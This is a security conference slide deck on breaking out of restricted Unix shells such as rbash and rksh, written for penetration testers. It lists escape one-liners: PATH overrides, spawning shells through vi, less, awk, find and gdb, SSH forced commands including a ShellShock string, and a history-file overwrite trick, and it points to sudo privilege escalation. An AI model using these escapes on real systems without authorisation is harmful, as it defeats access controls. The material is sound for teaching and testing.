Escape From SHELLcatraz
i.e. breaking out of restricted Unix shells

Michal Knapkiewicz (@TheKnapsy)
What is a restricted shell?

• Unix shell that restricts some of the capabilities available to an interactive user, such as:
  – Using `cd` to change directories
  – Setting or unsetting certain environment variables (e.g. `SHELL` or `PATH`)
  – Specifying command names containing ‘/’
  – Redirecting output using `>`, `>>`, `>|`, `&`, `&>` operators
  – Using built-in commands
  – And sometimes a lot more…
But... why?

• To provide **additional layer of security**

• To **restrict usage** of the appliance to a limited number of features it was originally designed for (e.g. routers, disk and volume managers, network appliances)

• To “**protect**” underlying operating system, sometimes even from system administrators themselves...

• To make life of attackers (and pentesters) **harder**
Types of restricted shells

• “Real” shell implementations, e.g.
  – rbash
  – rsh
  – rksh

• Implementation of shells in <insert your favorite scripting language here>, e.g.
  – Python (1shell)
The SHELLshank Redemption

i.e. specific techniques of breaking out
Step 1: Reconnaissance

- Find out as much as you can about the environment you’re in:
  - Run `env` to see exported environment variables
  - `echo $PATH`, to find out what is the PATH set to (usually to one or two specific directories)
  - `echo $SHELL`, to find out what SHELL are we actually in (generally rbash or rksh)
  - try basic Unix commands and see what’s allowed: `ls, pwd, cd .., env, set, export, vi, cp, mv`
Step 2: Quick Wins

• If ‘/’ are allowed in commands, you won!
  – Just run /bin/sh

• If you can set PATH or SHELL variables, you won again!
  – export PATH=/bin:/usr/bin:$PATH
  – export SHELL=/bin/sh

• If you can copy files into existing PATH... win!
  – cp /bin/sh /some/dir/from/PATH; sh
Step 3: Get to know the wardens

- Do research on all parameters and additional (hidden?) functionality in commands that are allowed.

- Some commands let you execute other system commands, often bypassing shell restrictions:
  - `ftp` → `!/bin/sh`
  - `gdb` → `!/bin/sh`
  - `more / less / man` → `!/bin/sh`
  - `vi / vim` → `:!/bin/sh`
  - `scp -S /tmp/getMeOut.sh x y`
  - `awk ‘BEGIN {system("!/bin/sh")}’`
  - `find / -name someName -exec /bin/sh \;`
Step 4: Help from the outside

• Use SSH on your machine to execute commands before the remote shell is loaded:
  – ssh restricted@10.20.30.40 -t “/bin/sh”

• Or start the remote shell without loading “rc” profile (where most of the limitations are often configured):
  – ssh restricted@10.20.30.40 -t “bash --noprofile”

• Try ShellShock on vulnerable shell implementations:
  – ssh restricted@10.20.30.40 -t “() { :: }; /bin/bash”
Step 5: Dig deep!

- **Write to files using tee:**
  - `echo "Your evil code" | tee script.sh`

- **Invoke shell through a scripting language:**
  - `python -c 'import os; os.system("/bin/bash")'`
  - `perl -e 'exec "/bin/sh";'`

- **History file trick:**
  1) Set `HISTFILE` variable to a file you want to overwrite
  2) Set `HISTSIZE` variable to 0 and then immediately to 100
  3) Execute lines that you want to be written to your file
  4) Log out and log back in again. You have overwritten contents of the file `HISTFILE` pointed to (also, the original file permissions remained the same!)
The Great SHELLscape

i.e. DEMO time!
Summary

• **Restricted shells** exist and sometimes can make life quite difficult

• **Various techniques** of breaking out from restricted environments exist
  – There are a lot more different methods and ideas than just the ones covered here!

• **Enumeration** is the key! And a little bit of creativity...

• **After breaking out**, further *privilege escalation* may be quite simple (i.e. **sudo**)
References

• https://pen-testing.sans.org/blog/pen-testing/2012/06/06/escaping-restricted-linux-shells

• http://pentestmonkey.net/blog/rbash-scp


Questions